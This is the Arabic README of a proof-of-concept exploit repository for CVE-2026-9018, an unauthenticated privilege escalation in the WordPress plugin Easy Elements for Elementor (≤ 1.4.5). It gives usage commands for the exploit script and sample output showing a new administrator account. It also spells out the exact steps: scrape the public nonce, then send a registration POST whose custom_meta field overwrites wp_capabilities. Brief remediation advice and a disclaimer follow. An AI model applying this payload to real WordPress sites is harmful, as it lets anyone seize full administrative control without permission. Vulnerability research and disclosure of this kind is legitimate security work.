CVE-2026-9018

CVE-2026-9018 — Easy Elements for Elementor ≤ 1.4.5 | تصعيد امتيازات بدون مصادقة

بحث بواسطة: Atomic Edge الخطورة: عالية | CVSS: 8.8 | المصادقة المطلوبة: لا شيء

نظرة عامة

توجد ثغرة تصعيد امتيازات بدون مصادقة في البرنامج المساعد ووردبريس Easy Elements for Elementor – Addons & Website Templates (الإصدارات ≤ 1.4.5). تقوم الدالة easyel_handle_register()، التي يتم كشفها عبر معالج AJAX wp_ajax_nopriv_eel_register، بتمرير قيم custom_meta المرسلة عبر POST والتي يتحكم فيها المهاجم مباشرة إلى update_user_meta() دون أي قائمة بيضاء للمفاتيح. وهذا يسمح لمهاجم بدون مصادقة بالكتابة فوق مفتاح wp_capabilities وإنشاء حساب بصلاحيات مدير النظام.

المتطلبات الأساسية

قبل الاستغلال، يجب توفر الشروط التالية على الموقع المستهدف:

• ✅ تم تفعيل تسجيل المستخدمين في ووردبريس (Settings → General → Anyone can register)
• ✅ وجود صفحة تحتوي على ودجت تسجيل الدخول/التسجيل الخاصة بالبرنامج المساعد ويمكن الوصول إليها علنًا
• ✅ تعرض الودجت قيمة easy_elements_nonce في DOM الصفحة

المتطلبات

pip install requests

الاستخدام

# Basic — nonce fetched from homepage
python3 poc.py -u https://target.com

# Custom credentials
python3 poc.py -u https://target.com -U hacker -e [email protected] -p P@ssw0rd!

# Widget is on /login/ page
python3 poc.py -u https://target.com --nonce-page /login/

# Skip SSL verification
python3 poc.py -u https://target.com --no-verify

# Skip post-exploit login check
python3 poc.py -u https://target.com --skip-verify-login

الوسائط

مثال على المخرجات

[*] Fetching nonce from: https://target.com/login/
[+] Nonce found: a1b2c3d4e5

[*] Sending privilege escalation payload to: https://target.com/wp-admin/admin-ajax.php
[*] Username : atomic_admin
[*] Email    : [email protected]
[*] Role     : administrator (via wp_capabilities override)

[+] HTTP Status : 200
[✓] Privilege escalation payload accepted!
[✓] Admin login CONFIRMED!

    ┌─────────────────────────────────────────┐
    │  WP Admin  : https://target.com/wp-admin/
    │  Username  : atomic_admin
    │  Password  : Atomic@Edge2026!
    └─────────────────────────────────────────┘

التفاصيل الفنية

يتبع الاستغلال عملية من خطوتين:

الخطوة 1 — جمع الـ Nonce تعرض ودجت تسجيل الدخول/التسجيل في Elementor حقلاً مخفيًا باسم easy_elements_nonce في HTML الصفحة. يمكن لأي زائر بدون مصادقة الوصول إلى هذا الـ nonce علنًا، ويتم استخراجه عبر regex من شفرة الصفحة المصدرية.

الخطوة 2 — تسجيل خبيث يتم إرسال طلب POST إلى /wp-admin/admin-ajax.php مع action=eel_register. يتم تصميم مصفوفة custom_meta بحيث تتضمن:

custom_meta[wp_capabilities][administrator] = 1

نظرًا لأن easyel_handle_register() تمرر جميع مفاتيح custom_meta مباشرة إلى update_user_meta() دون قائمة بيضاء، يتم الكتابة فوق بيانات المستخدم wp_capabilities بعد التسجيل، مما يمنح المستخدم الجديد صلاحيات مدير النظام الكاملة.

المعالجة

يجب على المطوّرين تطبيق الإصلاحات التالية على easyel_handle_register():

1. تنفيذ قائمة بيضاء صارمة لمفاتيح custom_meta المسموح بها (مثل first_name, last_name, phone)
2. حظر المفاتيح الحساسة صراحةً: wp_capabilities, wp_user_level, session_tokens
3. تجنب معالجة أي بيانات وصفية مقدمة من المستخدم بعد wp_insert_user() تمامًا إذا لم تكن مطلوبة
4. تنقية المدخلات وحدها غير كافية — القائمة البيضاء إلزامية

→ قم بالتحديث إلى Easy Elements for Elementor 1.4.6 أو أحدث فورًا.

إخلاء مسؤولية

هذا المستودع مخصص للبحث الأمني المصرح به والأغراض التعليمية فقط. لا تستخدم هذه الأداة ضد أي نظام دون إذن كتابي صريح من مالك النظام. قد يؤدي الاستخدام غير المصرح به إلى انتهاك قانون CFAA (الولايات المتحدة)، والقانون الجنائي s.342.1 (كندا)، وتوجيه NIS2 للاتحاد الأوروبي، وقوانين أخرى سارية. لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام أو الأضرار الناشئة عن هذا الكود.